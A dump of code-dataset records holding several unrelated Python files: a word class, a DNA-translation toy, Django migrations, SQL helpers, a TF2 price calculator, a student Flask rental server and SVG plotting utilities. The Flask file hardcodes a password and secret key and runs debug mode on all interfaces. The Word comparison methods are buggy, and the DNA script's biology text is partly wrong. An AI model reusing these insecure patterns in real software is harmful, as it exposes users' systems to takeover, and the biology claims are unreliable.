rows_of_M_times_A_equaling_zero_vec(M8, A8) # Put the row numbers of M from the PDF\n\n","sub_path":"grading/Gaussian_Elimination_problems.py","file_name":"Gaussian_Elimination_problems.py","file_ext":"py","file_size_in_byte":8366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"165827441","text":"\nclass Word:\n word = '' # :: String\n sectionDefinition = [] # :: [Section]\n relatedForms = [] # :: [String]\n synonyms = [] # :: Synonyms\n nearbyWords = [] # :: [String]\n\n def __repr__(self):\n out = \"[Word]\\n\" + self.word + \"\\n\"\n\n out += \"[Definition]\\n\"\n for i in range(0, len(self.sectionDefinition)):\n out += str(self.sectionDefinition[i])\n\n out += \"[Related Forms]\\n\"\n row_width = 3\n counter = 0\n for i in range(0, len(self.relatedForms)):\n out += str(self.relatedForms[i]) + \",\\t\"\n counter += 1\n if(counter >= row_width):\n out += '\\n'\n counter = 0\n\n out += \"\\n\"\n out += \"[Synonyms]\\n\"\n row_width = 3\n counter = 0\n for i in range(0, len(self.synonyms)):\n out += str(self.synonyms[i]) + \",\\t\"\n counter += 1\n if(counter >= row_width):\n out += '\\n'\n counter = 0\n\n out += \"\\n\"\n out += \"[Nearby Words]\\n\"\n for i in range(0, len(self.nearbyWords)):\n out += str(self.nearbyWords[i]) + \",\\t\"\n counter += 1\n if(counter >= row_width):\n out += '\\n'\n counter = 0\n return out\n\n def __init__(self, word, section_definition, related_forms, synonyms, nearby_words):\n self.word = word\n self.relatedForms = related_forms\n self.synonyms = synonyms\n self.sectionDefinition = section_definition\n self.nearbyWords = nearby_words\n\n def __eq__(self, other):\n \"\"\"Overrides the default implementation\"\"\"\n if isinstance(other, str):\n return self.word == other\n elif isinstance(other, Word):\n return self.word == other.word\n return False\n\n def __gt__(self, other):\n if isinstance(other, str):\n return self.word == other\n elif isinstance(other, Word):\n return self.word == other.word\n\n def __lt__(self, other):\n if isinstance(other, str):\n return self.word == other\n elif isinstance(other, Word):\n return self.word == other.word\n\n # def __gt__(self, other):\n # s_len = len(self.word)\n # o_len = len(other.word)\n # min_len = min(s_len, o_len)\n # for i in range(0, min_len):\n # cs = ord(self.word[i])\n # co = ord(other.word[i])\n # if(cs > co):\n # return True\n # elif(cs < co):\n # return False\n #\n # return s_len > o_len\n #\n # def __lt__(self, other):\n # s_len = len(self.word)\n # o_len = len(other.word)\n # min_len = min(s_len, o_len)\n # for i in range(0, min_len):\n # cs = ord(self.word[i])\n # co = ord(other.word[i])\n # if (cs < co):\n # return True\n # elif (cs > co):\n # return False\n #\n # return s_len < o_len\n\n def addSection(self, partofspeech, section):\n if(section != []):\n section = Section(partofspeech, section)\n self.sectionDefinition.append(section)\n","sub_path":"Word.py","file_name":"Word.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"339620495","text":"import random\r\nDNA='ATACAG'\r\nw='ATCG'\r\ns=''\r\nN=random.randint(5,10)\r\nfor j in range(N):\r\n a=random.sample(w,1)\r\n s=s+a[0]\r\nDNA=s\r\nprint(DNA)\r\nA=[5,5,5,0] #CHNO\r\nT=[5,6,2,2]\r\nC=[4,5,3,1]\r\nG=[5,5,5,1]\r\nDNAf=[15,31,3,13,2]\r\nx1=[0,0,0,0]\r\ndef formula1(DNA1):\r\n global x1;\r\n An=0\r\n Tn=0\r\n Cn=0\r\n Gn=0\r\n for i in range(len(DNA1)):\r\n if(DNA1[i]=='A'):\r\n An=An+1\r\n if(DNA1[i]=='T'):\r\n Tn=Tn+1\r\n if(DNA1[i]=='C'):\r\n Cn=Cn+1\r\n if(DNA1[i]=='G'):\r\n Gn=Gn+1\r\n\r\n x1=[An, Tn ,Cn,Gn,len(DNA1)]\r\n\r\n\r\n#print(x1)\r\ndef Molecules():\r\n global A,T,C,G,DNAf\r\n #print(A)\r\n C1=x1[0]*A[0]+x1[1]*T[0]+x1[2]*C[0]+x1[3]*G[0]+x1[4]*DNAf[0]\r\n H=x1[0]*A[1]+x1[1]*T[1]+x1[2]*C[1]+x1[3]*G[1]+x1[4]*DNAf[1]\r\n N=x1[0]*A[2]+x1[1]*T[2]+x1[2]*C[2]+x1[3]*G[2]+x1[4]*DNAf[2]\r\n O=x1[0]*A[3]+x1[1]*T[3]+x1[2]*C[3]+x1[3]*G[3]+x1[4]*DNAf[3]\r\n P=x1[4]*DNAf[4]\r\n HC='C'+str(C1)+'H'+str(H)+'N'+str(N)+'-O_'+str(O)+'P'+str(P)\r\n print('DNA Molecule ', HC)\r\nflag=0\r\nNAME=\"HARISH RAVI\"\r\nprint('Bio Lesson')\r\nprint('Proteins make amino acids.There are about 20 Amino Acids, three base pairs code for an amino acid which can be represented with A-Z and 6 extra dummy acids. An extra base pair X has to be added to code for some letters as some codes are redundant and blanks are hard to find. Eg : the triplet ATA codes for I, there is ATCG base pairs and complementary in where A=T and C=G double strand. RNA has U instead of T.')\r\nprint('There is 3D folding and active sites which is great')\r\n\r\nw='ATCG'\r\nflag=0\r\ndef translate(seq): \r\n \r\n table = { \r\n 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', \r\n 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', \r\n 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', \r\n 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', \r\n 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', \r\n 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', \r\n 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', \r\n 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', \r\n 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', \r\n 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', \r\n 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', \r\n 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', \r\n 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', \r\n 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', \r\n 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', \r\n 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W', \r\n } \r\n protein =\"\" \r\n if len(seq)%3 == 0: \r\n for i in range(0, len(seq), 3): \r\n codon = seq[i:i + 3] \r\n protein+= table[codon] \r\n return protein \r\n\r\ndef revtranslate(seq): \r\n \r\n table = { \r\n 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', \r\n 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', \r\n 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', \r\n 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', \r\n 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', \r\n 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', \r\n 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', \r\n 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', \r\n 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', \r\n 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', \r\n 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', \r\n 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', \r\n 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', \r\n 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', \r\n 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', \r\n 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W',\r\n 'XXX':' ', 'ATX':'U','AXT':'O','XAG':'X','XTG':'B',\r\n 'XTA':'J','XTA':'J','XGA':'Z','.':'.'\r\n } \r\n DNA =\"\" \r\n table2 = {v: k for k, v in table.items()}\r\n for i in range(0, len(seq)): \r\n \r\n DNA+= table2[seq[i]] \r\n return DNA\r\ndef RNA(seq): \r\n \r\n table3 = { \r\n 'A':'U','T':'A','C':'G','G':'C','X':'X','.':'.'\r\n } \r\n RNA =\"\" \r\n \r\n for i in range(0, len(seq)): \r\n \r\n RNA+= table3[seq[i]] \r\n return RNA\r\n\r\n\r\nprotein=NAME\r\nprint('Protein ',protein,'length ', len(protein))\r\nDNA=revtranslate(protein)\r\nRNA=RNA(DNA)\r\nprint('DNA ',DNA, 'length ', len(DNA))\r\n\r\nprint('RNA ',RNA,'length ', len(RNA))\r\n\r\nformula1(DNA)\r\nMolecules()\r\n\r\n\r\n","sub_path":"DNAAt5.py","file_name":"DNAAt5.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"388820681","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('avatar', '0001_initial'),\n ('quiz', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Challenge',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True)),\n ('request_datetime', models.DateTimeField(default=datetime.datetime.now, blank=True)),\n ('status', models.IntegerField(default=1, choices=[(1, b'Requested'), (2, b'Accepted'), (3, b'Rejected'), (4, b'Finished')])),\n ('challengee', models.ForeignKey(related_name='challenge_challengee', to='avatar.Avatar')),\n ('challenger', models.ForeignKey(related_name='challenge_challenger', to='avatar.Avatar')),\n ],\n ),\n migrations.CreateModel(\n name='ChallengeQuestion',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True)),\n ('challenge', models.ForeignKey(to='challenge.Challenge')),\n ('question', models.ForeignKey(to='quiz.Question')),\n ],\n ),\n migrations.CreateModel(\n name='ChallengeResult',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('start_datetime', models.DateTimeField(default=datetime.datetime.now, blank=True)),\n ('completion_datetime', models.DateTimeField(null=True)),\n ('total_time', models.IntegerField(null=True)),\n ('correct_rate', models.FloatField(null=True, blank=True)),\n ('winner', models.NullBooleanField()),\n ('challenge', models.ForeignKey(to='challenge.Challenge')),\n ('participant', models.ForeignKey(to='avatar.Avatar')),\n ],\n ),\n migrations.CreateModel(\n name='ChallengeWaitlist',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True)),\n ('type', models.CharField(max_length=100)),\n ('request_datetime', models.DateTimeField()),\n ('challenger', models.ForeignKey(to='avatar.Avatar')),\n ],\n ),\n migrations.AlterUniqueTogether(\n name='challengeresult',\n unique_together=set([('challenge', 'participant')]),\n ),\n ]\n","sub_path":"challenge/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"308793853","text":"# -*- coding: utf-8 -*-\r\n\r\ndef get_current_semestar(cursor):\r\n query = \"SELECT * FROM trenutni_semestar\"\r\n cursor.execute(query)\r\n for (id_semestra, skolska_godina, tip_semestra) in cursor:\r\n return {\"skolska_godina\" : skolska_godina,\r\n \"tip_semestra\" : tip_semestra}\r\n\r\n\r\nGROUP_ID_BAZA = {}\r\ndef get_group_id(cursor, broj_grupe, trenutni_semestar):\r\n if broj_grupe in GROUP_ID_BAZA:\r\n return GROUP_ID_BAZA[broj_grupe]\r\n\r\n query = \"SELECT id_grupe FROM grupa \" \\\r\n \"JOIN semestar ON grupa.id_semestra = semestar.id_semestra AND grupa.broj = %s AND semestar.školska_godina= %s AND \" \\\r\n \"semestar.tip_semestra = %s\"\r\n cursor.execute(query, (broj_grupe, trenutni_semestar['skolska_godina'], trenutni_semestar['tip_semestra']))\r\n for (id_grupe, ) in cursor:\r\n GROUP_ID_BAZA[broj_grupe] = id_grupe\r\n return id_grupe\r\n\r\n\r\nSEMESTAR_ID_BAZA = {}\r\ndef get_semestar_id(cursor, broj_grupe, trenutni_semestar):\r\n if broj_grupe in SEMESTAR_ID_BAZA:\r\n return SEMESTAR_ID_BAZA[broj_grupe]\r\n if broj_grupe[0] == '1':\r\n if trenutni_semestar['tip_semestra'] == 'zimski':\r\n broj_semestra = 1\r\n else:\r\n broj_semestra = 2\r\n elif broj_grupe[0] == '2':\r\n if trenutni_semestar['tip_semestra'] == 'zimski':\r\n broj_semestra = 3\r\n else:\r\n broj_semestra = 4\r\n elif broj_grupe[0] == '3':\r\n if trenutni_semestar['tip_semestra'] == 'zimski':\r\n broj_semestra = 5\r\n else:\r\n broj_semestra = 6\r\n elif broj_grupe[0] == '4':\r\n if trenutni_semestar['tip_semestra'] == 'zimski':\r\n broj_semestra = 7\r\n else:\r\n broj_semestra = 8\r\n else: #Ponovci\r\n if trenutni_semestar['tip_semestra'] == 'zimski':\r\n broj_semestra = -1\r\n else:\r\n broj_semestra = -2\r\n\r\n query = \"SELECT id_semestra FROM semestar \" \\\r\n \"WHERE školska_godina = %s AND broj_semestra = %s\"\r\n cursor.execute(query, (trenutni_semestar['skolska_godina'], broj_semestra))\r\n for (id_semestra, ) in cursor:\r\n SEMESTAR_ID_BAZA[broj_grupe] = id_semestra\r\n return id_semestra\r\n\r\n\r\nTEACHER_ID_BAZA = {}\r\ndef get_teacher_id(cursor, ime, prezime, tip):\r\n if (ime, prezime, tip) in TEACHER_ID_BAZA:\r\n return TEACHER_ID_BAZA[(ime, prezime, tip)]\r\n query = \"SELECT id_nastavnika FROM nastavnik \" \\\r\n \"WHERE nastavnik.ime = %s AND nastavnik.prezime = %s AND nastavnik.tip = %s\"\r\n cursor.execute(query, (ime, prezime, tip))\r\n for (id_nastavnika, ) in cursor:\r\n TEACHER_ID_BAZA[(ime, prezime, tip)] = id_nastavnika\r\n return id_nastavnika\r\n\r\nCOURSE_ID_BAZA = {}\r\ndef get_course_id(cursor, naziv):\r\n if naziv in COURSE_ID_BAZA:\r\n return COURSE_ID_BAZA[naziv]\r\n query = \"SELECT id_predmeta FROM predmet \" \\\r\n \"WHERE predmet.naziv = %s\"\r\n cursor.execute(query, (naziv,))\r\n for (id_predmeta, ) in cursor:\r\n COURSE_ID_BAZA[naziv] = id_predmeta\r\n return id_predmeta\r\n","sub_path":"getters.py","file_name":"getters.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"510111382","text":"\ndef OtorisasiClick(sender, context):\n app = context.OwnerForm.ClientApplication\n key = context.KeyObjConst\n\n ph = app.CreateValues(['key', key])\n frm = app.CreateForm('AQH/fOtorTransCicilanAQH', 'fOtorTransCicilanAQH', 0, ph, None)\n frm.FormContainer.Show()\n context.Refresh()\n\n","sub_path":"menus/popupmenus/AQH/MnuOtorisasiCicilanAQH.py","file_name":"MnuOtorisasiCicilanAQH.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"306138628","text":"class Solution(object):\r\n def isPalindrome(self, x):\r\n \"\"\"\r\n :type x: int\r\n :rtype: bool\r\n \"\"\"\r\n ans = True\r\n if x<0:\r\n ans = False\r\n else:\r\n x = str(abs(x))\r\n for i in range(round(len(x)/2)): # necessary to have round()\r\n j = len(x)-i-1\r\n if x[i]!=x[j]:\r\n ans = False\r\n return ans\r\n\r\n# test case\r\nprint(Solution().isPalindrome(1221))","sub_path":"#9 Palindrome Number.py","file_name":"#9 Palindrome Number.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"122893652","text":"\"\"\"\nCar(d)-Up\nversion 0.1\nby 2020 BINUS ASO School of Engineering Students for 6th Semester Project\nLast updated: 16/05/2019\n- Added session module for variable sharing between requests (17)\n- Added capability to get userID from sqlite database (53-60)\n- Added capability to send userID via mqtt to target device (pre-defined topic) (77-78)\n- Added mqtt_button request handler (83-87)\nGitHub link : https://github.com/VincentReynardS/CardUp/tree/master/RPi\n\"\"\"\n\n\n\nimport sqlite3\n\nfrom flask import Flask, flash, request, redirect, url_for, render_template, session\nfrom werkzeug.utils import secure_filename\nfrom flask_mqtt import Mqtt\n\napp = Flask('__name__')\n\napp.config['MQTT_BROKER_URL'] = '192.168.43.87' #ganti dengan IP address device broker\napp.config['MQTT_BROKER_PORT'] = 1883\napp.config['MQTT_CLIENT_ID'] = 'flask-mqtt'\n\nmqtt = Mqtt(app)\n# socketio = SocketIO(app)\n# bootstrap = Bootstrap(app)\n\n# data = {\n# \"payload\": \"\",\n# \"rooms\": \"\",\n# \"rfids\": \"\",\n# }\n\n@app.route('/')\ndef home():\n \"\"\"Home.\"\"\"\n # return render_template('home.html')\n return redirect(url_for('login'))\n\n@app.route('/login')\ndef login():\n \"\"\"Login\"\"\"\n return render_template('login.html')\n\n@app.route('/order', methods = ['POST', 'GET'])\ndef order():\n \"\"\"Order\"\"\"\n result = request.form\n if result['username'] == 'Vincent' and result['password'] == '123456':\n user = (result['username'],)\n conn = sqlite3.connect('Project micro.db')\n c = conn.cursor()\n c.execute('''SELECT ID_kartu FROM CUSTOMER\n WHERE customerName =?''', user)\n userID = c.fetchall()[0]\n print(userID[0])\n session['userID'] = userID\n return render_template('order.html')\n else:\n return 'Login failed'\n\n@app.route('/result', methods = ['POST', 'GET'])\ndef result():\n \"\"\"Result\"\"\"\n result = request.form\n if result['order']:\n car = (result['car'],)\n conn = sqlite3.connect('Project micro.db')\n c = conn.cursor()\n c.execute('''SELECT * FROM REGISTER\n WHERE mobil =?''', car)\n data = c.fetchall()[0]\n conn.close()\n userID = session.get('userID')\n mqtt.publish('rental/00001', userID[0])\n return render_template('result.html', data=data)\n else:\n return 'Order failed'\n\n@app.route('/mqtt_button', methods = ['POST', 'GET'])\ndef mqtt_button():\n command = request.form\n mqtt.publish('rental/00001', 'Hello!')\n return render_template('mqtt_button.html')\n\n# @mqtt.on_connect()\n# def handle_connect(client, userdata, flags, rc):\n# \"\"\"Connect MQTT Server.\"\"\"\n# mqtt.subscribe('inTopic', 2)\n\n# @mqtt.on_message()\n# def handle_mqtt_message(client, userdata, message):\n# \"\"\"Get MQTT message.\"\"\"\n# msg = message.payload.decode()\n# print(msg)\n# socketio.emit('mqtt_message', data=msg)\n\nif __name__ == '__main__':\n app.secret_key = 'super secret key'\n app.run(host='0.0.0.0', port='5000', debug=True)\n app.config['SESSION_TYPE'] = 'filesystem'","sub_path":"RPi/flaskServer.py","file_name":"flaskServer.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"20116781","text":"from pricestf import get_price\n\ndef prctf_err():\n print(\"Something went wrong with module 'pricestf' while loading current prices!\")\n input(\"Press any key to quit!\")\n quit()\n\ntry:\n key_current = get_price(\"Mann Co. Supply Crate Key\")\n earbuds_current = get_price(\"Earbuds\")\n\n if type(key_current) == type(0) or type(earbuds_current) == type(0):\n prctf_err()\nexcept:\n prctf_err()\n\nkey_sell = key_current[\"sell_price\"][\"metal\"]\nearbuds_sell = float(str(earbuds_current[\"sell_price\"][\"keys\"]) + \".\" + str(int(round(earbuds_current[\"sell_price\"][\"metal\"] / key_sell, 2) * 100)))\n\ndef calculate(amount, type):\n data = {}\n if type == \"scrap\":\n data[\"scrap\"] = amount\n data[\"rec\"] = amount / 3\n data[\"ref\"] = amount / 9\n data[\"key\"] = data[\"ref\"] / key_sell\n data[\"earbuds\"] = data[\"key\"] / earbuds_sell\n elif type == \"rec\":\n data[\"scrap\"] = amount * 3\n data[\"rec\"] = amount\n data[\"ref\"] = amount / 3\n data[\"key\"] = data[\"ref\"] / key_sell\n data[\"earbuds\"] = data[\"key\"] / earbuds_sell\n elif type == \"ref\":\n data[\"scrap\"] = amount * 9\n data[\"rec\"] = amount * 3\n data[\"ref\"] = amount\n data[\"key\"] = data[\"ref\"] / key_sell\n data[\"earbuds\"] = data[\"key\"] / earbuds_sell\n elif type == \"key\":\n ref = amount * key_sell\n data[\"scrap\"] = ref * 9\n data[\"rec\"] = ref * 3\n data[\"ref\"] = ref\n data[\"key\"] = amount\n data[\"earbuds\"] = amount / earbuds_sell\n elif type == \"earbuds\":\n key = amount * earbuds_sell\n ref = key * key_sell\n data[\"scrap\"] = ref * 9\n data[\"rec\"] = ref * 3\n data[\"ref\"] = ref\n data[\"key\"] = key\n data[\"earbuds\"] = amount\n else:\n print(\"Unknown type: \" + type)\n return(0)\n\n for i in data:\n data[i] = round(data[i], 2)\n \n return(data)\n","sub_path":"tf2calc/tf2calc.py","file_name":"tf2calc.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"92872101","text":"from os import system\nfrom os.path import exists\nimport base64 ## png encoding\nimport math\n#from . import basic ## convert_svg_to_png\nfrom .convert_svg_to_png import MONOSPACE_FONT_FAMILY, convert_svg_to_png\nfrom .html_colors import CB_RED, CB_GREEN, CB_BLUE, CB_ORANGE, CB_PURPLE\n\n\n## these are not actually defined by the language...\nall_text_height = {20:15.5, 100:75.}\nall_text_width = {20:12.5, 100:60.}\n\ndef rgb_from_fraction(fraction, cmap=None):\n\n assert fraction >=0 and fraction<=1\n\n fraction = float(fraction)\n\n if cmap is None:\n if fraction<0.5:\n i = 2*fraction*256\n\n #green = min(200,2*i)\n green = int( min(200,(200*i)/128) )\n blue = max(0,int( min(255,510-2*i) ))\n red = 0\n else:\n i = 2*(fraction-0.5)*256\n red = int( min(255,2*i) )\n green = int( max(0,min(200,400 - (200*i)/128)) )\n #green = min(200,510-2*i)\n blue = 0\n else:\n color_tuple = cmap(fraction)[:3]\n red, green, blue = [min(255,int(x*255)) for x in color_tuple]\n\n assert 0<=red <=255\n assert 0<=green<=255\n assert 0<=blue <=255\n\n return '#{:02x}{:02x}{:02x}'.format(red,green,blue)\n\n\n # return '\\n'\\\n # .format( upper_left[0], upper_left[1], lower_right[1]-upper_left[1], lower_right[0]-upper_left[0],\n # fill, stroke )\n\ndef rectangle( upper_left, lower_right, fill, stroke, stroke_width=1, dashed=False ):\n stroke_dasharray_style= ';stroke-dasharray:5,5' if dashed else ''\n return ' \\n'\\\n .format( upper_left[0], upper_left[1], lower_right[1]-upper_left[1], lower_right[0]-upper_left[0],\n fill, stroke, stroke_width, stroke_dasharray_style )\n\ndef create_file( cmds, width, height, filename, create_png = False, background_color=None, use_xlink=False ):\n out = open( filename,'w')\n extra = '' if not use_xlink else 'xmlns:xlink=\"http://www.w3.org/1999/xlink\"'\n out.write('\\n'\\\n .format(int(width),int(height),extra))\n if background_color:\n out.write(rectangle( (0,0), (width,height), background_color, 'white', 0 ) )\n out.write('\\n'.join(cmds)+'\\n')\n out.write(' \\n')\n out.close()\n\n if create_png:\n assert filename.endswith('.svg')\n pngfile = filename[:-4]+'.png'\n convert_svg_to_png( filename, pngfile )\n\n\n## this will work if oldfile was created using create_file\n## returns: cmds, old_width, old_height\n## cmds do not include the newline from the original file\n## ie, they could go right into create_file\n##\n## matplotlib seems to generate files that are sized in pt units, which is a bit of a nuisance\n## converting between them is something like #px = 1.25 * #pt\n## pt = 1/72 inch, so inch = 72pt = 72*1.25=72*5/4 = 18*5 = 90px\n## but somewhere on the web somebody says the new standard is 1inch=96px...\n## at least that's what I get when I run convert on a matplotlib generated svg to make a png\n## ( 576pt x 864pt goes to 720px x 1080px )\n##\ndef embed_file( oldfile, x_shift, y_shift ):\n cmds = [] ##\n cmds = [''.format(x_shift,y_shift) ]\n for line in open(oldfile,'r'):\n if line.startswith(\"')\n return cmds, old_width, old_height\n\n## returns a single line\n## note that we have to set use_xlink=True when we call create_file in order for the link to work here:\n##\ndef embed_pngfile( pngfile, width, height, x0, y0, aspect=None ):\n assert exists( pngfile )\n encoded = base64.b64encode(open(pngfile, \"rb\").read()).decode('ascii')\n #encoded = base64.b64encode(open(pngfile, \"rb\").read())\n\n asp = '' if aspect==None else 'preserveAspectRatio=\"{}\"'.format(aspect)\n\n cmd = ' '\\\n .format( width, height, x0, y0, asp, encoded )\n return cmd\n\n\ndef make_text( text, lower_left, fontsize,\n extra_tag = None, font_family = MONOSPACE_FONT_FAMILY, color = \"black\", font_weight = \"normal\" ):\n assert font_weight in ['normal','bold']\n cmd = '{} \\n'\\\n .format( lower_left[0], lower_left[1], fontsize, font_weight, font_family, color, text )\n return cmd\n\n\nclass SVG_tree_plotter:\n def __init__( self, cmap=None ):\n self.cmds = []\n self.cmap = cmap\n\n def make_line( self, p0, p1, line_width, normalized_score, extra_tag=None, color=None ):\n\n if normalized_score==None:\n #color='black'\n color = '#aaaaaa' # gray\n elif color==None:\n color = rgb_from_fraction(normalized_score, cmap=self.cmap)\n\n if p0[0] == p1[0]: ## vertical line, get width exactly right\n x = p0[0] ; y0 = min(p0[1],p1[1]) ; y1 = max(p0[1],p1[1] )\n\n upper_left = ( x-line_width/2.0, y0 )\n lower_right = ( x+line_width/2.0, y1 )\n cmd = rectangle( upper_left, lower_right, color, color )\n\n elif p0[1] == p1[1]: ## horizontal line, get width exactly right\n y = p0[1] ; x0 = min(p0[0],p1[0]) ; x1 = max(p0[0],p1[0] )\n\n upper_left = ( x0, y-line_width/2.0 )\n lower_right = ( x1, y+line_width/2.0 )\n cmd = rectangle( upper_left, lower_right, color, color )\n else:\n cmd = '\\n'\\\n .format( p0[0], p0[1], p1[0], p1[1], 0.5*line_width,color )\n self.cmds.append( cmd )\n\n def make_text( self, text, p, fontsize, extra_tag=None ):\n color = 'black'\n ## shift so that p is the lower right\n textwidth = fontsize*0.6 * len(text)\n cmd = '{} \\n'\\\n .format( p[0]-textwidth, p[1], fontsize, MONOSPACE_FONT_FAMILY, color, text )\n self.cmds.append( cmd )\n\n def write( self, out ):\n out.write('\\n'.join( self.cmds )+'\\n' )\n\n\n\ndef color_stack( upper_left, lower_right, letters, colors, values ):\n fontsize= 20\n fontwidth = all_text_width [fontsize]\n fontheight = all_text_height[fontsize]\n width = lower_right[0] - upper_left[0]\n height = lower_right[1] - upper_left[1]\n\n ## draw them proportional to their values\n total = sum(values)\n\n ## draw from the top down\n height_sum = 0.\n lines = []\n\n for (letter,(color,value)) in zip( letters, list(zip( colors, values )) ):\n my_height = height * float(value)/total\n height_sum += my_height\n my_x = upper_left[0]\n my_y = upper_left[1] + height_sum\n\n ## we are going to have to scale\n x_scale = float( width ) / fontwidth\n y_scale = float( my_height ) / fontheight\n\n #print letter, 'my_height:',my_height, 'y_scale:',y_scale,'fontheight:',fontheight,'my_xy:',my_x,my_y\n\n ## we need to translate so that\n lines.append( '{} \\n'\\\n .format( my_x / x_scale, my_y / y_scale, fontsize, MONOSPACE_FONT_FAMILY, color,\n x_scale, y_scale, letter ) )\n\n #lines.append( '{} \\n'\\\n # .format( my_x , my_y , fontsize, color, letter ) )\n return ''.join( lines )\n\n\ndef text_in_box( upper_left, lower_right, text, color ):\n fontsize= 100\n\n fontwidth = all_text_width [fontsize]\n fontheight = all_text_height[fontsize]\n\n width = lower_right[0] - upper_left[0]\n height = lower_right[1] - upper_left[1]\n\n ## we are going to have to scale\n x_scale = float( width ) / (fontwidth * len(text))\n y_scale = float( height ) / fontheight\n\n #print text, 'height:',height, 'y_scale:',y_scale,'fontheight:',fontheight,'my_xy:'\n\n ## we need to translate so that\n return '{} \\n'\\\n .format( float(upper_left [0]) / x_scale,\n float(lower_right[1]) / y_scale,\n fontsize, MONOSPACE_FONT_FAMILY, color, x_scale, y_scale, text )\n\n\n\ndef protein_logo(\n upper_left,\n lower_right,\n pwm,\n scale={}, ## scale[pos] should be in range [0,1]\n xmag = 1.0, # make the letters wider by this factor\n xmag_W = 1.0,\n):\n\n aacolor = {}\n for aa in \"G\" :aacolor[aa] = CB_ORANGE #\"orange\" ## special for glycine\n for aa in \"STYC\" :aacolor[aa] = CB_GREEN #\"green\"\n for aa in \"NQ\" :aacolor[aa] = CB_PURPLE #\"purple\"\n for aa in \"KRH\" :aacolor[aa] = CB_BLUE #\"blue\"\n for aa in \"DE\" :aacolor[aa] = CB_RED #\"red\"\n for aa in \"P\" :aacolor[aa] = \"black\" ## for right now\n for aa in \"AWFLIMV\" :aacolor[aa] = \"black\" ## do we want to make W,F something different??\n for aa in \"J\":aacolor[aa] = \"green\"\n for aa in \".-\":aacolor[aa] = \"black\"\n\n width = lower_right[0] - upper_left[0]\n height = lower_right[1] - upper_left[1]\n\n N = len(list(pwm.keys()))\n\n letter_width = float(width) / N\n\n cmds = []\n\n for pos in range(N):\n l = [(y,x) for x,y in pwm[pos].items() ]\n l.sort()\n l.reverse()\n ## start from the top\n col_scale = scale.get(pos,1.0)\n assert col_scale>=0 and col_scale<=1.00001\n scaled_height = col_scale * height\n upper_y = lower_right[1] - scaled_height\n\n totfreq=0.0\n for freq,aa in l:\n if freq * scaled_height>1: ## at least one pixel high\n y0 = upper_y + totfreq * scaled_height\n y1 = upper_y + (totfreq+freq) * scaled_height\n extra_x = (letter_width*(xmag_W-1.0)/2 if aa=='W' else\n letter_width*(xmag -1.0)/2)\n x0 = upper_left[0] + pos*letter_width - extra_x\n x1 = upper_left[0] + (pos+1)*letter_width + extra_x\n cmds.append( text_in_box( (x0,y0), (x1,y1), aa, aacolor[aa] ) )\n totfreq += freq\n #print pos,aa,freq,totfreq,sum(pwm[pos].values()),pwm[pos]\n assert abs(totfreq-1.0)<1e-2\n\n return 